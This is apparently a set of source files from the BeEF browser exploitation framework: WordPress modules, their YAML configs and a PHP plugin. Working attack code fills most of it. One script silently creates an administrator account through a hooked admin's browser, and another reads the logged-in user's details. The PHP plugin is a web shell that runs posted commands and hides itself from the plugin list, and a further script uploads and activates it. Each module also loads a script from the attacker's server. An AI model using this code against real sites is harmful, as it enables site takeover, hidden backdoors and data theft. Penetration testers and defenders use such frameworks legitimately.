wp_script.setAttribute('type', 'text/javascript');
wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');
var theparent = document.getElementsByTagName('head')[0];
theparent.insertBefore(wp_script, theparent.firstChild);
}
var create_user_path = '<%= @wp_path %>wp-admin/user-new.php';
/*
When there is an error (such as incorrect email, username already existing etc),
the response will be a 200 with an ERROR in the body
When successfully created, it's a 302, however the redirection is followed by the web browser
and the 200 is served directly to the AJAX response here and we don't get the 302,
so we check for the 'New user created.' pattern in the page
*/
function check_response_for_error(xhr) {
if (xhr.status == 200) {
responseText = xhr.responseText;
if ((matches = /<strong>ERROR<\/strong>: (.*?)<\/p>/.exec(responseText))) {
log('User Creation failed: ' + matches[1], 'error');
}
else if (/New user created/.test(responseText)) {
log('User successfully created!', 'success');
}
}
}
function create_user(nonce) {
post(
create_user_path,
{
action: 'createuser',
'_wpnonce_create-user': nonce,
'_wp_http_referer': create_user_path,
user_login: '<%= @username %>',
email: '<%= @email %>',
first_name: '',
last_name: '',
url: '',
pass1: '<%= @password %>',
pass2: '<%= @password %>',
pw_weak: 'on', // Just in case
role: '<%= @role %>',
createuser: 'Add+New+User'
},
function(xhr) { check_response_for_error(xhr) }
);
}
// Timeout needed for the wp.js to be loaded first
setTimeout(
function() {
get_nonce(
create_user_path,
'_wpnonce_create-user',
function(nonce) { create_user(nonce) }
)
},
300
);
}); |
YAML | beef/modules/misc/wordpress/add_user/config.yaml | #
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore
#
# Original Author: Daniel Reece (@HBRN8).
# Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
#
beef:
module:
wordpress_add_user:
enable: true
category: Misc
name: WordPress Add User
description: Adds a WordPress User. No email will be sent to the email address entered, and weak password are allowed.
authors: ['hiburn8 @hbrn8', 'Erwan LR']
target:
working: ['ALL'] |
Ruby | beef/modules/misc/wordpress/add_user/module.rb | #
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore
#
# Original Author: Daniel Reece (@HBRN8).
# Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
#
require_relative '../wordpress_command'
class Wordpress_add_user < WordPressCommand
def self.options
super() + [
{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'beef' },
{ 'name' => 'password', 'ui_label' => 'Pwd', 'value' => SecureRandom.hex(5) },
{ 'name' => 'email', 'ui_label' => 'Email', 'value' => '' },
{ 'name' => 'role',
'type' => 'combobox',
'ui_label' => 'Role',
'store_type' => 'arraystore',
'store_fields' => ['role'],
'store_data' => [['administrator'], ['editor'], ['author'], ['contributor'], ['subscriber']],
'value' => 'administrator',
'valueField' => 'role',
'displayField' => 'role',
'mode' => 'local' }
# { 'name' => 'domail', 'type' => 'checkbox', 'ui_label' => 'Success mail?:', 'checked' => 'true' },
# If one day optional options are supported:
# { 'name' => 'url', 'ui_label' => 'Website:', 'value' => '' },
# { 'name' => 'fname', 'ui_label' => 'FirstName:', 'value' => '' },
# { 'name' => 'lname', 'ui_label' => 'LastName:', 'value' => '' }
]
end
end |
JavaScript | beef/modules/misc/wordpress/current_user_info/command.js | /*
Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
Author @erwan_lr (WPScanTeam) - https://wpscan.org/
*/
beef.execute(function() {
beef_command_url = '<%= @command_url %>';
beef_command_id = <%= @command_id %>;
// Adds wp.js to the DOM so we can use some functions here
if (typeof get_nonce !== 'function') {
var wp_script = document.createElement('script');
wp_script.setAttribute('type', 'text/javascript');
wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');
var theparent = document.getElementsByTagName('head')[0];
theparent.insertBefore(wp_script, theparent.firstChild);
}
var user_profile_path = '<%= @wp_path %>wp-admin/profile.php'
function process_profile_page(xhr) {
if (xhr.status == 200) {
username = xhr.responseXML.getElementById('user_login').getAttribute('value');
email = xhr.responseXML.getElementById('email').getAttribute('value');
log('Username: ' + username + ', Email: ' + email, 'success');
} else {
log('GET ' + user_profile_path + ' - Status ' + xhr.status, 'error');
}
}
// Timeout needed for the wp.js to be loaded first
setTimeout(
function() { get(user_profile_path, function(response) { process_profile_page(response) }) },
300
);
}); |
YAML | beef/modules/misc/wordpress/current_user_info/config.yaml | #
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Author @erwan_lr (WPscanTeam) - https://wpscan.org/
#
beef:
module:
wordpress_current_user_info:
enable: true
category: Misc
name: WordPress Current User Info
description: Get the current logged in user information (such as username, email etc)
authors: ['Erwan LR']
target:
working: ['ALL'] |
Ruby | beef/modules/misc/wordpress/current_user_info/module.rb | #
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Author @erwan_lr (WPscanTeam) - https://wpscan.org/
#
require_relative '../wordpress_command'
class Wordpress_current_user_info < WordPressCommand
end |
PHP | beef/modules/misc/wordpress/upload_rce_plugin/beefbind.php | <?php
/**
* Plugin Name: beefbind
* Plugin URI: http://beefproject.com
* Description: BeEF bind shell with CORS.
* Version: 1.1
* Authors: Bart Leppens, Erwan LR (@erwan_lr | WPScanTeam)
* Author URI: https://twitter.com/bmantra
* License: Copyright (c) 2006-2023Wade Alcorn - [email protected] - Browser Exploitation Framework (BeEF) - http://beefproject.com - See the file 'doc/COPYING' for copying permission
**/
header("Access-Control-Allow-Origin: *");
define('SHA1_HASH', '#SHA1HASH#');
define('BEEF_PLUGIN', 'beefbind/beefbind.php');
if (isset($_SERVER['HTTP_BEEF']) && strlen($_SERVER['HTTP_BEEF']) > 1) {
if (strcasecmp(sha1($_SERVER['HTTP_BEEF']), SHA1_HASH) === 0) {
if (isset($_POST['cmd']) && strlen($_POST['cmd']) > 0) {
echo system($_POST['cmd']);
}
}
}
if (defined('WPINC')) {
function hide_plugin() {
global $wp_list_table;
foreach ($wp_list_table->items as $key => $val) {
if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); }
}
}
add_action('pre_current_active_plugins', 'hide_plugin');
// For Multisites
function hide_plugin_from_network($plugins) {
if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); }
return $plugins;
}
add_filter('all_plugins', 'hide_plugin_from_network');
}
?> |
JavaScript | beef/modules/misc/wordpress/upload_rce_plugin/command.js | /*
Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
This is a rewrite of the original module misc/wordpress_post_auth_rce.
Original Author: Bart Leppens
Rewritten by Erwan LR (@erwan_lr | WPScanTeam)
*/
beef.execute(function() {
beef_command_url = '<%= @command_url %>';
beef_command_id = <%= @command_id %>;
// Adds wp.js to the DOM so we can use some functions here
if (typeof get_nonce !== 'function') {
var wp_script = document.createElement('script');
wp_script.setAttribute('type', 'text/javascript');
wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');
var theparent = document.getElementsByTagName('head')[0];
theparent.insertBefore(wp_script, theparent.firstChild);
}
var wp_path = '<%= @wp_path %>';
var upload_nonce_path = '<%= @wp_path %>wp-admin/plugin-install.php?tab=upload';
var upload_plugin_path = '<%= @wp_path %>wp-admin/update.php?action=upload-plugin';
function upload_and_active_plugin(nonce) {
var boundary = "BEEFBEEF";
var post_data = "--" + boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"_wpnonce\"\r\n";
post_data += "\r\n";
post_data += nonce + "\r\n";
post_data += "--" + boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n";
post_data += "\r\n" + upload_nonce_path + "\r\n";
post_data += "--" + boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"pluginzip\";\r\n";
post_data += "filename=\"beefbind.zip\"\r\n";
post_data += "Content-Type: application/octet-stream\r\n";
post_data += "\r\n";
post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload(@auth_key) %>";
post_data += "\r\n";
post_data += "--" + boundary + "--\r\n"
post_as_binary(
upload_plugin_path,
boundary,
post_data,
function(xhr) {
result = xhr.responseXML.getElementsByClassName('wrap')[0];
if (result == null) {
log('Could not find result of plugin upload in response', 'error');
}
else {
result_text = result.innerText;
if (/Plugin installed successfully/i.test(result_text)) {
//log('Plugin installed successfully, activating it');
// Get URL to active the plugin from response, and call it
// <div class="wrap">...<a class="button button-primary" href="plugins.php?action=activate&plugin=beefbind%2Fbeefbind.php&_wpnonce=d13218642e" target="_parent">Activate Plugin</a>
activation_tag = result.getElementsByClassName('button-primary')[0];
if (activation_tag == null) {
log('Plugin installed but unable to get activation URL from output', 'error');
}
else {
activation_path = '<%= @wp_path %>wp-admin/' + activation_tag.getAttribute('href');
get(activation_path, function(xhr) {
result_text = xhr.responseXML.getElementById('message').innerText;
if (/plugin activated/i.test(result_text)) {
log('Plugin installed and activated! - Auth Key: <%= @auth_key %>', 'success');
}
else {
log('Error while activating the plugin: ' + result_text, 'error');
}
});
}
}
else {
log('Error while installing the plugin: ' + result_text, 'error');
}
}
}
);
}
// Timeout needed for the wp.js to be loaded first
setTimeout(
function() {
get_nonce(
upload_nonce_path,
'_wpnonce',
function(nonce) { upload_and_active_plugin(nonce) }
)
},
300
);
}); |
YAML | beef/modules/misc/wordpress/upload_rce_plugin/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
wordpress_upload_rce_plugin:
enable: true
category: Misc
name: WordPress Upload RCE Plugin
description: |
This module attempts to upload and activate a malicious wordpress plugin, which will be hidden from the plugins list in the dashboard.
Afterwards, the URI to trigger is: http://vulnerable-wordpress.site/wp-content/plugins/beefbind/beefbind.php,
and the command to execute can be send by a POST-parameter named 'cmd', with a 'BEEF' header containing the value of the auth_key option.
However, there are more stealthy ways to send the POST request to execute the command, depending on the target.
CORS headers have been added to allow bidirectional crossdomain communication.
authors: ['Bart Leppens', 'Erwan LR']
target:
working: ['ALL'] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.